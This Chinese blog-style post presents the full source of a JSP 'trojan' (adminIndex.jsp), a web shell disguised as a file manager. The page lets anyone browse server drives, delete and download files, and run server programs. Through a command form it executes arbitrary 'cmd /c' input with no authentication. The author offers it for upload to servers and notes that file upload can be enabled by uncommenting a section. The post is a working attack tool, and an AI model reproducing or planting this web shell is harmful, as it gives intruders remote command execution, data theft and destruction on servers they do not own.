介绍一个类似程序管理器的简单JSP木马
创始人
2024-04-12 09:30:48
0

下面是JSP木马程序原代码:  文件名 adminIndex.jsp

注意:这里用到了一个包. org.apache.commons.fileupload.*

如果你有了这个包,可以把页面中 注释的部分去掉.即可实现文件上传功能.

这个是上传文件用的包 commons-fileupload-1.0.jar 可以到 apache 网站上去找.

因为当初的想法是想把所有功能都写到一个JSP木马文件里.这样方便上传.呵呵.所以搞得这JSP又长又臭.有不合理之处还请大家指教

  1. <%  
  2.    //作者:laobu    
  3.    //Email: tianlinlj@126.com  
  4.    //参考:慈勤强:JSP文件管理器0.5版本 http://www.webasp.net/article/15/14295.htm  
  5. %> 
  6. <%@ page contentType="text/html;charset=gb2312"%> 
  7. <%//@ page import="org.apache.commons.fileupload.*" %> 
  8. <%@page import="java.util.*"%> 
  9. <%@page import="java.io.*"%> 
  10.  
  11.  
  12.  
  13. </FONT></STRONG>LaoBu资源管理器<STRONG><FONT color=#006699> 
  14. <%!  
  15.    //Windows系统上取得可用的所有逻辑盘   
  16.   String getDrivers(){  
  17.      StringBuffer sb = new StringBuffer("驱动器 : ");  
  18.      File roots[] = File.listRoots();  
  19.      for(int i = 0; i < roots.length; i++) {  
  20.         sb.append(" href='?path=" + roots[i] + "'>");  
  21.         sb.append(roots[i] + "   ");  
  22.      }  
  23.      return sb.toString();  
  24.   }  
  25.  
  26.   //用于删除文件夹  
  27.   boolean delFile(String delFilesUrl){  
  28.      try{  
  29.    File delFiles = new File(delFilesUrl);  
  30.    File[] files = delFiles.listFiles();  
  31.    for(int i=0;i;i++){  
  32.       if(files[i].isDirectory()){  
  33.        delFile(delFiles+"\\"+files[i].getName());       
  34.     }else{  
  35.      files[i].delete();  
  36.     }  
  37.    }  
  38.    delFiles.delete();  
  39.    return true;  
  40.   }catch(Exception ex){return false;}    
  41.    }  
  42. %> 
  43. <%  
  44.    String message = "操作提示:";  
  45.    String userIp = (String)session.getAttribute("userIp");  
  46.    String strIp = request.getRemoteHost();  
  47.    if(userIp==null||userIp.trim().length()==0||!userIp.equals(strIp)){  
  48.       System.out.println("用户 "+strIp+" 登陆!");  
  49.       session.setAttribute("userIp",strIp);        
  50.       message = "欢迎:" + strIp;        
  51.    }  
  52. %> 
  53. <%  
  54.    //得到要删除的文件的文件名字和路径   
  55.    String delFile = request.getParameter("delFile");   
  56.    if(delFile!=null&&!delFile.equals("")){  
  57.       delFile = new String(delFile.getBytes("ISO-8859-1"), "GB2312");  
  58.   System.out.println(userIp+":删除文件:"+delFile);  
  59.       try{     
  60.          File file = new File(delFile);  
  61.          if(file.delete()){  
  62.     messagemessage = message + " color=blue>删除 "+ delFile+ " 文件成功!";  
  63.          }else{  
  64.     messagemessage = message + " color=red>删除 "+ delFile+ " 文件失败!";  
  65.          }  
  66.       }catch(Exception ex){}  
  67.    }  
  68. %> 
  69. <%  
  70.    //得到要删除的文件夹的文件名字和路径   
  71.    String delDirectory = request.getParameter("delDirectory");     
  72.    if(delDirectory!=null&&!delDirectory.equals("")){  
  73.       delDirectory = new String(delDirectory.getBytes("ISO-8859-1"), "GB2312");  
  74.   delDirectorydelDirectory = delDirectory.replace('/','\\');  
  75.   System.out.println(userIp + ":删除文件夹:"+delDirectory);  
  76.       try{     
  77.          boolean ok = delFile(delDirectory);  
  78.          if(ok){  
  79.     messagemessage = message + " color=blue>删除 "+ delDirectory+ " 文件夹成功!";  
  80.          }else{  
  81.     messagemessage = message + " color=red>删除 "+ delDirectory+ " 文件夹失败!";  
  82.          }  
  83.       }catch(Exception ex){}  
  84.    }  
  85. %> 
  86. <%  
  87.    //文件下载  
  88.  String downFile = request.getParameter("file");     
  89.    if(downFile!=null&&!downFile.equals("")){  
  90.       String filename = downFile.substring(downFile.lastIndexOf("\\")+1);  
  91.       downFile = new String(downFile.getBytes("ISO-8859-1"), "GB2312");  
  92.   //String filename = downFile.substring(downFile.lastIndexOf("\\")+1);  
  93.   BufferedInputStream bis = new BufferedInputStream(new FileInputStream(downFile));  
  94.   byte[] buf = new byte[1024];  
  95.   int len = 0;  
  96.   OutputStream os = response.getOutputStream();  
  97.   response.reset(); //非常重要  
  98.      
  99.   //纯下载方式    
  100.   response.setHeader("Content-Disposition", "attachment; filename=\"" + filename+"\"");   
  101.   response.setContentType("bin;charset=iso8859_1");   
  102.     
  103.   while((len = bis.read(buf)) >0) os.write(buf,0,len);  
  104.   System.out.println(userIp+":下载:"+filename);  
  105.   bis.close();  
  106.   os.close();  
  107.  }  
  108. %>   
  109. <%  
  110.    //上传文件    需要 common-fileupload 组件  
  111.    /*  
  112.    String up = request.getParameter("up");  
  113.  if(up!=null&&up.equals("true")){  
  114.   try{  
  115.      String temp = "c:\\";    //临时目录   
  116.      String strUp = request.getParameter("path"); //上传目标地址  
  117.      if(strUp!=null&&!strUp.equals("")){  
  118.     strUp = new String(strUp.getBytes("ISO-8859-1"), "GB2312");  
  119.      }  
  120.      DiskFileUpload fu = new DiskFileUpload();   
  121.      fu.setSizeMax(1024*1024*1024);   // 设置允许用户上传文件大小,单位:字节   
  122.      fu.setSizeThreshold(4096);       // 设置最多只允许在内存中存储的数据,单位:字节   
  123.      fu.setRepositoryPath(temp);      // 设置一旦文件大小超过getSizeThreshold()的值时数据存放在硬盘的目录   
  124.  
  125.      //开始读取上传信息   
  126.      List fileItems = fu.parseRequest(request);   
  127.      Iterator iter = fileItems.iterator();     // 依次处理每个上传的文件   
  128.      while(iter.hasNext()) {  
  129.       FileItem item = (FileItem) iter.next();// 忽略其他不是文件域的所有表单信息   
  130.       if(!item.isFormField()){   
  131.      String name = item.getName();       //获取上传文件名,包括路径   
  132.      namename = name.substring(name.lastIndexOf("\\")+1);//从全路径中提取文件名   
  133.      long size = item.getSize();   
  134.      if((name==null||name.equals("")) && size==0)   
  135.      continue;   
  136.      System.out.println(userIp+":上传文件:"+name+"到"+strUp);//输出上传文件信息   
  137.        
  138.      File fNewnew File(strUp, name);   
  139.      item.write(fNew);  
  140.      messagemessage = message + " color=blue>文件 "+item.getName()+" 上传成功!";  
  141.       }   
  142.      }   
  143.   }catch(Exception ex){  
  144.    messagemessage = message + " color=red>文件上传失败!";  
  145.   }  
  146.         
  147.  }*/  
  148. %> 
  149. <%  
  150.    //新建文件及文件夹  
  151.    String news = request.getParameter("news");  
  152.  if(news!=null&&news.equals("files")){  
  153.     
  154.   String strNewsFiles = request.getParameter("path"); //上传目标地址  
  155.   if(strNewsFiles!=null&&!strNewsFiles.equals("")){  
  156.      strNewsFiles = new String(strNewsFiles.getBytes("ISO-8859-1"), "GB2312");  
  157.    strNewsFilesstrNewsFiles = strNewsFiles.replace('/','\\');  
  158.   }  
  159.   String strFilesName = request.getParameter("filesName"); //文件名  
  160.   if(strFilesName!=null&&!strFilesName.equals("")){  
  161.    strFilesName = new String(strFilesName.getBytes("ISO-8859-1"), "GB2312");  
  162.   }  
  163.  
  164.   try{  
  165.    File newnewsFiles = new File(strNewsFiles,strFilesName);  
  166.    if(!newsFiles.exists()) newsFiles.mkdir();  
  167.    System.out.println(userIp+":新建文件夹:"+strNewsFiles+"\\"+strFilesName);  
  168.    messagemessage = message + " color=blue>成功新建文件夹!";  
  169.   }catch(Exception ex){  
  170.    messagemessage = message + " color=red>新建文件夹失败!";  
  171.   }  
  172.  }else if(news!=null&&news.equals("file")){  
  173.     
  174.   String strNewsFile = request.getParameter("path"); //上传目标地址  
  175.   if(strNewsFile!=null&&!strNewsFile.equals("")){  
  176.      strNewsFile = new String(strNewsFile.getBytes("ISO-8859-1"), "GB2312");  
  177.    strNewsFilestrNewsFile = strNewsFile.replace('/','\\');  
  178.   }  
  179.   String strFileName = request.getParameter("fileName"); //文件名  
  180.   if(strFileName!=null&&!strFileName.equals("")){  
  181.    strFileName = new String(strFileName.getBytes("ISO-8859-1"), "GB2312");  
  182.   }  
  183.     
  184.   try{  
  185.      File newnewsFile = new File(strNewsFile,strFileName);  
  186.    if(!newsFile.exists()) newsFile.createNewFile();  
  187.    System.out.println(userIp+":新建文件:"+strNewsFile+"\\"+strFileName);  
  188.    messagemessage = message + " color=blue>成功新建文件!";  
  189.   }catch(Exception ex){  
  190.    messagemessage = message + " color=red>新建文件失败!";  
  191.   }  
  192.  }  
  193. %> 
  194. <%  
  195.    //运行服务器端程序   
  196.    String runFile = request.getParameter("runFile");     
  197.    if(runFile!=null&&!runFile.equals("")){  
  198.       runFile = new String(runFile.getBytes("ISO-8859-1"), "GB2312");  
  199.   System.out.println(userIp+":运行文件:"+runFile);  
  200.       try{     
  201.          Runtime.getRuntime().exec("cmd /c " + runFile);  
  202.       }catch(Exception ex){}  
  203.    }  
  204. %> 
  205.  border=0 width='100%'> width='50%'><%=message%>网页资源管理器!大哥、大姐:请不要删除文件、文件夹。文件筹得不容易啊!谢谢! 
  206. <%  
  207.    //页面  
  208.    String strThisFile = "adminIndex.jsp";  
  209.    request.setCharacterEncoding("gb2312");  
  210.    String strDir = request.getParameter("path");  
  211.    if(strDir!=null&&!strDir.equals("")){  
  212.   strDir = new String(strDir.getBytes("ISO-8859-1"), "GB2312");  
  213.   strDirstrDir = strDir.replace('/','\\');  
  214.  }  
  215.  
  216.    if(strDir == null || strDir.length() < 1){  
  217.       strDir = "c:\\";  
  218.    }  
  219.    StringBuffer sb = new StringBuffer("");  
  220.    StringBuffer sbFile = new StringBuffer("");  
  221.    try{  
  222.       File objFile = new File(strDir);  
  223.       File list[] = objFile.listFiles();  
  224.  
  225.       out.println(" border=1 width='100%' bgcolor='#F1f1f1'>");  
  226.       out.println(" width='40%'>当前目录: "+ strDir+ "");  
  227.       out.println(" width='35%'>"+ getDrivers()+ "");  
  228.       out.println(" width='25%' align='center'>");  
  229.   out.println("  href='print.jsp'>观看服务器屏幕");  
  230.       out.println(" 
    \r\n");  
  231.  
  232.       if (objFile.getAbsolutePath().length() > 3) {  
  233.          sb.append(" >  href='?path="+ objFile.getParentFile().getAbsolutePath() + "'>");  
  234.          sb.append("上级目录
    - - - - - - - - - - - \r\n");  
  235.       }  
  236.       for(int i = 0; i < list.length; i++){  
  237.          if(list[i].isDirectory()) {  
  238.             sb.append(" > ");  
  239.             sb.append("->  href='?path=" + list[i].getAbsolutePath()+ "'>" + list[i].getName() + "");  
  240.             sb.append("");  
  241.          }else{  
  242.             String strLen = "";  
  243.             String strDT = "";  
  244.             long lFile = 0;  
  245.             lFile = list[i].length();  
  246.  
  247.             if(lFile > 1000000){  
  248.                 lFilelFile = lFile / 1000000;  
  249.                 strLen = "" + lFile + " M";  
  250.             }else if (lFile > 1000) {  
  251.                 lFilelFile = lFile / 1000;  
  252.                 strLen = "" + lFile + " K";  
  253.             }else {  
  254.                 strLen = "" + lFile + " Byte";  
  255.             }  
  256.             Date dt = new Date(list[i].lastModified());  
  257.             strDT = dt.toLocaleString();  
  258.             sbFile.append("");  
  259.             sbFile.append("" + list[i].getName());  
  260.             sbFile.append("");  
  261.             sbFile.append("" + strLen);  
  262.             sbFile.append("");  
  263.             sbFile.append("" + strDT);  
  264.             sbFile.append(" align='center'>");  
  265.     sbFile.append(" href='?path="+strDir+"&delFile="+strDir+"\\"+list[i].getName()+"' onclick=\"javascript:return confirm('真的要删除文件 <"+list[i].getName()+"> 吗?')\">删除  ");  
  266.     sbFile.append(" href='?file="+strDir+"\\"+list[i].getName()+"'>下载  ");  
  267.     //if(list[i].getName().endsWith(".exe"))   
  268.     sbFile.append(" href='?path="+strDir+"&runFile="+strDir+"\\"+list[i].getName()+"' onclick=\"javascript:return confirm('要在服务器上运行文件 <"+list[i].getName()+"> 吗?')\">运行 ");  
  269.             sbFile.append("\r\n");  
  270.          }  
  271.       }  
  272.    }catch(Exception e){  
  273.       out.println(" color=red>操作失败: " + e.toString() + "");  
  274.    }  
  275. %> 
  276.  
  277.  width="100%" border="1" cellspacing="0" cellpadding="5" 
  278.  bordercolorlight="#000000" bordercolordark="#FFFFFF"> 
  279.   
  280.    width="25%" align="center" valign="top"> 
  281.       width="100%" border="0" cellspacing="0" cellpadding="2"  bgcolor='#F1f1f1'> 
  282.         <%=sb%> 
  283.       
  284.    
  285.    width="81%" align="center" valign="top"> 
  286.       width="98%" border="1" cellspacing="1" cellpadding="4" 
  287.    bordercolorlight="#cccccc" bordercolordark="#FFFFFF"> 
  288.        bgcolor="#E7e7e6"> 
  289.         width="26%">文件名称 
  290.         width="19%" align="center">文件大小 
  291.         width="30%" align="center">修改时间 
  292.         width="25%" align="center">文件操作 
  293.        
  294.       <%=sbFile%> 
  295.     
  296.    
     
     
  297.     width="98%" border="1" cellspacing="1" cellpadding="4" 
  298.    bordercolorlight="#cccccc" bordercolordark="#FFFFFF"> 
  299.        name="UploadForm" enctype="multipart/form-data" method="post" action="?up=true&path=<%=strDir%>"> 
  300.           bgcolor="#E7e7e6"> 
  301.        width="26%">   
  302.         type="file" name="File1" size="42" maxlength="5">   
  303.         type="submit" value="上传文件"> 
  304.         type="button" value="新建文件"   
  305.        onClick="showNewsFile('<%=strDir.replace('\\','/')%>')"> 
  306.         type="button" value="新建文件夹"   
  307.        onClick="showNewsFiles('<%=strDir.replace('\\','/')%>')"> 
  308.         type="button" value="删除该文件夹"   
  309.        onClick="delFile('<%=strDir.replace('\\','/')%>')"> 
  310.        
  311.           
  312.      
  313.     
  314.    
  315.   
  316.  
  317.  
  318. <%  
  319.    String strCmd = "";  
  320.    String line = "";  
  321.    StringBuffer sbCmd = new StringBuffer("");  
  322.    strCmd = request.getParameter("cmd");  
  323.  int i = -1;  
  324.  int j = -1;  
  325.  if(strCmd!=null){  
  326.   System.out.println(userIp+":执行命令: "+strCmd);  
  327.   i = strCmd.toLowerCase().indexOf("format");  
  328.   j = strCmd.toLowerCase().indexOf("del");  
  329.  }  
  330.  if(i>=0||j>=0) {   
  331.   strCmd = "老大!";  
  332.   sbCmd.append("放我一马好不好,资料筹得不容易啊。给你弄没了我还用活呀!");      
  333.  }  
  334.    if(strCmd != null){  
  335.       try{  
  336.    Process p = Runtime.getRuntime().exec("cmd /c " + strCmd);  
  337.          BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));  
  338.          while((line = br.readLine()) != null){  
  339.             sbCmd.append(line + "\r\n");  
  340.          }  
  341.       }catch (Exception e) {  
  342.          System.out.println(e.toString());  
  343.       }  
  344.    }  
  345. %> 
  346.  name="cmd" action="" method="post"> type="text" name="cmd" 
  347.  value="<%=strCmd%>" size=50>  type=submit name=submit value="执行命令"> 
  348.  
  349. <%  
  350.    if (sbCmd != null && sbCmd.toString().trim().equals("") == false){  
  351. %> 
  352.        NAME="cqq" ROWS="20" COLS="100%"><%=sbCmd.toString()%> 
  353. <%  
  354.    }  
  355. %> 

【编辑推荐】

  1. 浅谈如何在JSP连接MySQL数据库
  2. 使用JDBC连接数据库
  3. 在JSP中获取数据库连接
  4. 浅谈JSP数据库连接池的必要性
  5. JSP数据库操作例程(JDBC-ODBC)

相关内容

热门资讯

如何允许远程连接到MySQL数... [[277004]]【51CTO.com快译】默认情况下,MySQL服务器仅侦听来自localhos...
如何利用交换机和端口设置来管理... 在网络管理中,总是有些人让管理员头疼。下面我们就将介绍一下一个网管员利用交换机以及端口设置等来进行D...
施耐德电气数据中心整体解决方案... 近日,全球能效管理专家施耐德电气正式启动大型体验活动“能效中国行——2012卡车巡展”,作为该活动的...
20个非常棒的扁平设计免费资源 Apple设备的平面图标PSD免费平板UI 平板UI套件24平图标Freen平板UI套件PSD径向平...
德国电信门户网站可实时显示全球... 德国电信周三推出一个门户网站,直观地实时提供其安装在全球各地的传感器网络检测到的网络攻击状况。该网站...
为啥国人偏爱 Mybatis,... 关于 SQL 和 ORM 的争论,永远都不会终止,我也一直在思考这个问题。昨天又跟群里的小伙伴进行...
《非诚勿扰》红人闫凤娇被曝厕所... 【51CTO.com 综合消息360安全专家提醒说,“闫凤娇”、“非诚勿扰”已经被黑客盯上成为了“木...
2012年第四季度互联网状况报... [[71653]]  北京时间4月25日消息,据国外媒体报道,全球知名的云平台公司Akamai Te...